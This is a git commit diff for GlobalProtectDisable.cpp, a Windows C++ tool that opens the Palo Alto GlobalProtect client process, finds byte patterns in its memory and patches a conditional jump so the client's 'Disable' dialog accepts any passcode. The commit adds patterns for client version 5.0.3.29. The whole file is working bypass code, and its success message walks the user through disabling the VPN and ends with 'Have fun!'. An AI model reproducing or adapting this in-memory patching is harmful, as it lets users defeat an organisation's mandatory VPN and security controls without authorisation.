Added support for version 5.0.3.29 in GlobalProtectDisable

This commit is contained in:
Mariusz B. / mgeeky 2020-04-28 15:28:38 +02:00
parent 339692104d
commit 4fd0eef68e
1 changed files with 253 additions and 179 deletions

View File

@ -5,11 +5,14 @@
* It does this by patching process memory and thus allowing to * It does this by patching process memory and thus allowing to
* disable VPN without entering proper password. * disable VPN without entering proper password.
* *
* Tested on: * Tested on Palo Alto Networks:
* GlobalProtect client 3.1.6.19 * GlobalProtect client 3.1.6.19 (x64)
* Palo Alto Networks * GlobalProtect client 5.0.3.29 (x64)
* *
* Mariusz B. / mgeeky, '18 * Compilation:
* C:> g++ GlobalProtectDisable.cpp -o GlobalProtectDisable.exe -static -static-libgcc -static-libstdc++
*
* Mariusz B. / mgeeky, '18-'20
**/ **/
#include "windows.h" #include "windows.h"
@ -19,9 +22,19 @@
using namespace std; using namespace std;
#define _DEBUG
const wchar_t *processName = L"PanGPA.exe"; const wchar_t *processName = L"PanGPA.exe";
const size_t PatternsNum = 2;
const size_t SizeOfReplacingBytes = 2;
const wchar_t *versionsArray[PatternsNum] = {
L"3.1.6.19",
L"5.0.3.29"
};
//
// Patterns defined below must end up just before bytes intended to be replaced,
// so just before JNE opcodes (75 XY)
//
/* /*
00007FF621B7D02A | 85 C0 | test eax, eax | 00007FF621B7D02A | 85 C0 | test eax, eax |
@ -30,49 +43,101 @@ const wchar_t *processName = L"PanGPA.exe";
00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 | 00007FF621B7D031 | E8 7A 00 00 00 | call pangpa.7FF621B7D0B0 |
00007FF621B7D036 | 85 C0 | test eax, eax | 00007FF621B7D036 | 85 C0 | test eax, eax |
00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F 00007FF621B7D038 | 75 55 | jne pangpa.7FF621B7D08F
^--- This is byte to be patched. ^--- This is byte to be patched. ----^
*/ */
const BYTE patternToFind[] = { const BYTE patternToFind31619[] = {
0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8, 0x85, 0xC0, 0x78, 0x61, 0x48, 0x8B, 0xCB, 0xE8,
0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0 0x7A, 0x00, 0x00, 0x00, 0x85, 0xC0
}; };
/*
.text:000000014005BFCC 48 83 C1 78 add rcx, 78h ; 'x'
.text:000000014005BFD0 FF 15 BA B3 04 00 call cs:CRichEditView::XRichEditOleCallback::ContextSensitiveHelp(int)
.text:000000014005BFD6 85 C0 test eax, eax
.text:000000014005BFD8 75 49 jnz short loc_14005C023
^--- This is byte to be patched. ----^
.text:000000014005BFDA 83 3D B3 94 0A 00 05 cmp cs:dword_140105494, 5
Look for strings such as:
"CDisableDialog::CheckPasscode - passcode matched, ok to disable"
"CDisableDialog::CheckPasscode - passcode mismatch, deny disabling"
*/
const BYTE patternToFind50329[] = {
0x48, 0x83, 0xc1, 0x78, 0xff, 0x15, 0xba, 0xb3, 0x04, 0x00,
0x85, 0xc0
};
// jne pangpa.7FF621B7D08F // jne pangpa.7FF621B7D08F
const BYTE bytesToBeReplaced[] = { const BYTE bytesToBeReplaced31619[SizeOfReplacingBytes] = {
0x75, 0x55 0x75, 0x55
}; };
// je pangpa.7FF621B7D08F // je pangpa.7FF621B7D08F
const BYTE replacingBytes[] = { const BYTE replacingBytes31619[SizeOfReplacingBytes] = {
0x74, 0x55 0x74, 0x55
}; };
// jnz short loc_14005C023
const BYTE bytesToBeReplaced50329[SizeOfReplacingBytes] = {
0x75, 0x49
};
// jz short loc_14005C023
const BYTE replacingBytes50329[SizeOfReplacingBytes] = {
0x74, 0x49
};
const BYTE *patternsArray[PatternsNum] = {
patternToFind31619,
patternToFind50329
};
const size_t patternsSizes[PatternsNum] = {
sizeof(patternToFind31619),
sizeof(patternToFind50329)
};
const BYTE *patternsToBeReplaced[PatternsNum] = {
bytesToBeReplaced31619,
bytesToBeReplaced50329
};
const BYTE *replacingBytes[PatternsNum] = {
replacingBytes31619,
replacingBytes50329
};
struct moduleInfo { struct moduleInfo {
UINT64 baseAddr; UINT64 baseAddr;
DWORD baseSize; DWORD baseSize;
}; };
bool alreadyPatched = false; bool alreadyPatched = false;
void dbg(const wchar_t * format, ...) { void dbg(const wchar_t * format, ...) {
wchar_t buffer[4096]; wchar_t buffer[4096];
va_list args; va_list args;
va_start (args, format); va_start (args, format);
vswprintf (buffer,format, args); vswprintf (buffer,format, args);
wcout << L"[dbg] " << buffer << endl; wcout << L"[dbg] " << buffer << endl;
va_end (args); va_end (args);
} }
void msg(const wchar_t * format, ...) { void msg(const wchar_t * format, ...) {
wchar_t buffer[4096]; wchar_t buffer[4096];
va_list args; va_list args;
va_start (args, format); va_start (args, format);
vswprintf (buffer,format, args); vswprintf (buffer,format, args);
MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0); MessageBoxW(NULL, buffer, L"GlobalProtectDisable", 0);
va_end (args); va_end (args);
} }
BOOL setPrivilege( BOOL setPrivilege(
@ -121,31 +186,31 @@ BOOL setPrivilege(
} }
DWORD findProcess(const wchar_t *procname) { DWORD findProcess(const wchar_t *procname) {
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(hSnapshot) { if(hSnapshot) {
PROCESSENTRY32W pe32; PROCESSENTRY32W pe32;
pe32.dwSize = sizeof(PROCESSENTRY32W); pe32.dwSize = sizeof(PROCESSENTRY32W);
if(Process32FirstW(hSnapshot, &pe32)) { if(Process32FirstW(hSnapshot, &pe32)) {
do { do {
if (wcsicmp(procname, pe32.szExeFile) == 0) { if (wcsicmp(procname, pe32.szExeFile) == 0) {
return pe32.th32ProcessID; return pe32.th32ProcessID;
} }
} while(Process32NextW(hSnapshot, &pe32)); } while(Process32NextW(hSnapshot, &pe32));
} }
CloseHandle(hSnapshot); CloseHandle(hSnapshot);
} }
return 0; return 0;
} }
BOOL getProcessModule( BOOL getProcessModule(
const wchar_t * modName, const wchar_t * modName,
DWORD pid, DWORD pid,
struct moduleInfo *out struct moduleInfo *out
) { ) {
dbg(L"PID = %d", pid); dbg(L"PID = %d", pid);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
if(hSnapshot != INVALID_HANDLE_VALUE) { if(hSnapshot != INVALID_HANDLE_VALUE) {
MODULEENTRY32W me32; MODULEENTRY32W me32;
@ -153,144 +218,137 @@ BOOL getProcessModule(
if(Module32FirstW(hSnapshot, &me32)) { if(Module32FirstW(hSnapshot, &me32)) {
do { do {
dbg(L"Module name: %ls", me32.szModule); dbg(L"Module name: %ls", me32.szModule);
if (wcsicmp(modName, me32.szModule) == 0) { if (wcsicmp(modName, me32.szModule) == 0) {
memset(out, 0, sizeof(struct moduleInfo)); memset(out, 0, sizeof(struct moduleInfo));
out->baseAddr = (UINT64)me32.modBaseAddr; out->baseAddr = (UINT64)me32.modBaseAddr;
out->baseSize = me32.modBaseSize; out->baseSize = me32.modBaseSize;
return true; return true;
} }
} while(Module32NextW(hSnapshot, &me32)); } while(Module32NextW(hSnapshot, &me32));
} }
else { else {
dbg(L"Module32FirstW failed."); dbg(L"Module32FirstW failed.");
} }
CloseHandle(hSnapshot); CloseHandle(hSnapshot);
} }
else { else {
dbg(L"CreateToolhelp32Snapshot failed."); dbg(L"CreateToolhelp32Snapshot failed.");
} }
return false; return false;
} }
BOOL patchProcessMemory( BOOL patchProcessMemory(
const wchar_t * procName, struct moduleInfo &mod,
DWORD pid, DWORD pid,
HANDLE hProcess, HANDLE hProcess,
const BYTE * patternToFind, const BYTE * patternToFind,
size_t patternToFindNum, size_t patternToFindNum,
const BYTE * bytesToBeReplaced, const BYTE * bytesToBeReplaced,
size_t bytesToBeReplacedNum, size_t bytesToBeReplacedNum,
const BYTE * replacingBytes, const BYTE * replacingBytes,
size_t replacingBytesNum size_t replacingBytesNum
) { ) {
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize);
struct moduleInfo mod; BYTE page[4096];
if (!getProcessModule(procName, pid, &mod)) {
dbg(L"Could not find process module. Error: %d", GetLastError());
return false;
}
dbg(L"Module base: %llx, module size: %d", mod.baseAddr, mod.baseSize); SIZE_T fetched = 0;
UINT64 addr = mod.baseAddr;
BYTE page[4096]; while( fetched < mod.baseSize) {
memset(page, 0, sizeof(page));
SIZE_T fetched = 0; SIZE_T out = 0;
UINT64 addr = mod.baseAddr;
while( fetched < mod.baseSize) { if(ReadProcessMemory(
memset(page, 0, sizeof(page)); hProcess,
reinterpret_cast<LPCVOID>(addr),
page,
sizeof(page),
&out
)) {
SIZE_T out = 0; UINT64 foundAddr = 0;
if(ReadProcessMemory( for(size_t m = 0; m < sizeof(page); m++) {
hProcess, if (page[m] == patternToFind[0]) {
reinterpret_cast<LPCVOID>(addr), bool found = true;
page, for(size_t n = 0; n < patternToFindNum; n++) {
sizeof(page), if(page[m + n] != patternToFind[n]) {
&out found = false;
)) { break;
}
}
UINT64 foundAddr = 0; if(found) {
dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...",
addr + m,
page[m + 0],
page[m + 1],
page[m + 2],
page[m + 3],
page[m + 4],
page[m + 5],
page[m + 6],
page[m + 7]
);
for(size_t m = 0; m < sizeof(page); m++) { for(size_t n = 0; n < bytesToBeReplacedNum; n++) {
if (page[m] == patternToFind[0]) { if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) {
bool found = true; found = false;
for(size_t n = 0; n < patternToFindNum; n++) {
if(page[m + n] != patternToFind[n]) {
found = false;
break;
}
}
if(found) { if ( page[m + patternToFindNum + n] == replacingBytes[n]) {
dbg(L"Found pattern at: %016llx: %x, %x, %x, %x, %x, %x, %x, %x, ...", msg(L"Process is already patched.\nNo need to do it again.");
addr + m, alreadyPatched = true;
page[m + 0], return false;
page[m + 1], }
page[m + 2],
page[m + 3],
page[m + 4],
page[m + 5],
page[m + 6],
page[m + 7]
);
for(size_t n = 0; n < bytesToBeReplacedNum; n++) { dbg(L"Assuring pattern failed at byte %d: %x -> %x",
if(page[m + patternToFindNum + n] != bytesToBeReplaced[n]) { n, page[m + patternToFindNum + n], bytesToBeReplaced[n] );
found = false; break;
}
}
if ( page[m + patternToFindNum + n] == replacingBytes[n]) { if(found) {
msg(L"Process is already patched.\nNo need to do it again."); foundAddr = addr + m + patternToFindNum;
alreadyPatched = true; dbg(L"Found pattern at: 0x%llx", foundAddr);
return false; break;
} }
}
}
}
dbg(L"Assuring pattern failed at byte %d: %x -> %x", if (foundAddr) {
n,page[m + patternToFindNum + n], bytesToBeReplaced[n] ); dbg(L"Starting patching process from address: %016llx", foundAddr);
break; out = 0;
}
}
if(found) { if(WriteProcessMemory(
foundAddr = addr + m + patternToFindNum; hProcess,
dbg(L"Found pattern at: 0x%llx", foundAddr); reinterpret_cast<LPVOID>(foundAddr),
break; replacingBytes,
} replacingBytesNum,
} &out
} )) {
} dbg(L"Process has been patched, written: %d bytes.", out);
return true;
}
if (foundAddr) { dbg(L"Process patching failed.");
dbg(L"Starting patching process from address: %016llx", foundAddr); return false;
out = 0; }
if(WriteProcessMemory( fetched += out;
hProcess, addr += out;
reinterpret_cast<LPVOID>(foundAddr), }
replacingBytes, }
replacingBytesNum,
&out
)) {
dbg(L"Process has been patched, written: %d bytes.", out);
return true;
}
dbg(L"Process patching failed."); return false;
return false;
}
fetched += out;
addr += out;
}
}
return false;
} }
int CALLBACK WinMain( int CALLBACK WinMain(
@ -300,56 +358,72 @@ int CALLBACK WinMain(
int nCmdShow int nCmdShow
) { ) {
HANDLE hToken = NULL; HANDLE hToken = NULL;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){ if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){
msg(L"OpenProcessToken() failed, error %u\n", GetLastError()); msg(L"OpenProcessToken() failed, error %u\n", GetLastError());
return 0; return 0;
} }
if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) { if(!setPrivilege(hToken, SE_DEBUG_NAME, TRUE)) {
msg(L"Failed to enable privilege, error %u\n", GetLastError()); msg(L"Failed to enable privilege, error %u\n", GetLastError());
return 0; return 0;
} }
DWORD pid = findProcess(processName); DWORD pid = findProcess(processName);
if (!pid) { if (!pid) {
msg(L"Could not find GlobalProtect process."); msg(L"Could not find GlobalProtect process.");
return 0; return 0;
} }
dbg(L"Found PanGPA process: %d", pid); dbg(L"Found PanGPA process: %d", pid);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!hProcess) { if (!hProcess) {
msg(L"Could not open GlobalProtect process. Error: %d", GetLastError()); msg(L"Could not open GlobalProtect process. Error: %d", GetLastError());
return 0; return 0;
} }
dbg(L"Opened process handle."); dbg(L"Opened process handle.");
BOOL ret = patchProcessMemory( BOOL ret;
processName,
pid,
hProcess,
patternToFind,
sizeof(patternToFind),
bytesToBeReplaced,
sizeof(bytesToBeReplaced),
replacingBytes,
sizeof(replacingBytes)
);
if(!ret) { struct moduleInfo mod = {0};
if(!alreadyPatched) { if (!getProcessModule(processName, pid, &mod)) {
msg(L"Could not patch the process. Error: %d", GetLastError()); dbg(L"Could not find process module. Error: %d", GetLastError());
} return false;
} }
else {
msg(L"Successfully patched the process! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!");
}
dbg(L"Closing process handle."); size_t i = 0;
CloseHandle(hProcess); for(i = 0; i < PatternsNum; i++)
return 0; {
dbg(L"Trying to match pattern for version: %ls", versionsArray[i]);
ret = patchProcessMemory(
mod,
pid,
hProcess,
patternsArray[i],
patternsSizes[i],
patternsToBeReplaced[i],
SizeOfReplacingBytes,
replacingBytes[i],
SizeOfReplacingBytes
);
if(ret) break;
}
if(!ret) {
if(!alreadyPatched) {
msg(L"Could not patch the process. Error: %d", GetLastError());
}
}
else {
msg(L"Successfully patched the process (version: %ls)! :-)\nNow, in order to bypass GlobalProtect - do the following:\n\t1. Right click on GlobalProtect Tray-icon\n\t2. Select 'Disable'\n\t3. In 'Passcode' input field enter whatever you like.\n\t4. Press OK.\n\nThe GlobalProtect should disable itself cleanly.\n\nHave fun!", versionsArray[i]);
}
dbg(L"Closing process handle.");
CloseHandle(hProcess);
return 0;
} }